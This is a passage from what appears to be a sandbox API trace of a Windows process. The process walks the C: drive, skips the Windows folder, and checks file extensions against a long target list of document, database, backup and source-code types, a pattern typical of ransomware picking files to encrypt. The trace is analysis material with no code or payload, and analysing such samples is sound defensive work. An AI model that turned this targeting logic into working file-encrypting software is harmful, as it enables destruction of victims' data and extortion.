nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0195.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.156] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.156] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.156] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.157] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0195.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.157] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.158] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.158] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.158] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.158] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0195.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.158] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.158] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.158] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.159] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.159] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0195.159] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4f0000) returned 1 [0195.159] FindNextFileW (in: hFindFile=0x53bff8, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0195.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0195.159] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.160] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.160] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.160] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4f0000) returned 1 [0195.160] FindNextFileW (in: hFindFile=0x53bff8, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0195.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0195.161] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="\xdf58\x53\x16")) returned 0xffffffff [0196.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4f0000) returned 1 [0196.665] FindNextFileW (in: hFindFile=0x53bff8, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0196.903] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.675] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0197.682] FindNextFileW (in: hFindFile=0x541170, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.682] FindNextFileW (in: hFindFile=0x541170, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 Thread: id = 18 os_tid = 0xbb8 [0195.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39106d8 [0195.057] lstrlenW (lpString="C:") returned 2 [0195.057] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x541070 [0195.058] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0195.058] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0195.058] lstrlenW (lpString="$Recycle.Bin") returned 12 [0195.058] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0195.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0195.058] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0195.058] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410b0 [0195.058] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.058] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0195.059] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0195.059] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0195.059] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0195.059] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0195.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.059] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0195.059] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.060] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.060] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0195.060] lstrlenW (lpString="desktop.ini") returned 11 [0195.060] lstrlenW (lpString=".1cd") returned 4 [0195.060] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0195.060] lstrlenW (lpString=".3ds") returned 4 [0195.060] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0195.060] lstrlenW (lpString=".3fr") returned 4 [0195.060] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".3g2") returned 4 [0195.061] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".3gp") returned 4 [0195.061] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".7z") returned 3 [0195.061] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0195.061] lstrlenW (lpString=".accda") returned 6 [0195.061] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0195.061] lstrlenW (lpString=".accdb") returned 6 [0195.061] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0195.061] lstrlenW (lpString=".accdc") returned 6 [0195.061] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0195.061] lstrlenW (lpString=".accde") returned 6 [0195.061] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0195.061] lstrlenW (lpString=".accdt") returned 6 [0195.061] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0195.061] lstrlenW (lpString=".accdw") returned 6 [0195.061] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0195.061] lstrlenW (lpString=".adb") returned 4 [0195.061] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".adp") returned 4 [0195.061] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".ai") returned 3 [0195.061] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0195.061] lstrlenW (lpString=".ai3") returned 4 [0195.061] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".ai4") returned 4 [0195.061] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".ai5") returned 4 [0195.061] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".ai6") returned 4 [0195.061] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0195.061] lstrlenW (lpString=".ai7") returned 4 [0195.061] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".ai8") returned 4 [0195.062] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".anim") returned 5 [0195.062] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0195.062] lstrlenW (lpString=".arw") returned 4 [0195.062] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".as") returned 3 [0195.062] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0195.062] lstrlenW (lpString=".asa") returned 4 [0195.062] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".asc") returned 4 [0195.062] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".ascx") returned 5 [0195.062] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0195.062] lstrlenW (lpString=".asm") returned 4 [0195.062] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".asmx") returned 5 [0195.062] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0195.062] lstrlenW (lpString=".asp") returned 4 [0195.062] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".aspx") returned 5 [0195.062] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0195.062] lstrlenW (lpString=".asr") returned 4 [0195.062] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".asx") returned 4 [0195.062] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0195.062] lstrlenW (lpString=".avi") returned 4 [0195.062] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".avs") returned 4 [0195.063] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".backup") returned 7 [0195.063] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0195.063] lstrlenW (lpString=".bak") returned 4 [0195.063] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".bay") returned 4 [0195.063] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".bd") returned 3 [0195.063] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0195.063] lstrlenW (lpString=".bin") returned 4 [0195.063] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".bmp") returned 4 [0195.063] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".bz2") returned 4 [0195.063] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".c") returned 2 [0195.063] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0195.063] lstrlenW (lpString=".cdr") returned 4 [0195.063] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".cer") returned 4 [0195.063] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0195.063] lstrlenW (lpString=".cf") returned 3 [0195.064] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0195.064] lstrlenW (lpString=".cfc") returned 4 [0195.064] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".cfm") returned 4 [0195.064] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".cfml") returned 5 [0195.064] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0195.064] lstrlenW (lpString=".cfu") returned 4 [0195.064] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".chm") returned 4 [0195.064] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".cin") returned 4 [0195.064] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".class") returned 6 [0195.064] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0195.064] lstrlenW (lpString=".clx") returned 4 [0195.064] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0195.064] lstrlenW (lpString=".config") returned 7 [0195.064] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0195.064] lstrlenW (lpString=".cpp") returned 4 [0195.064] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0195.064] 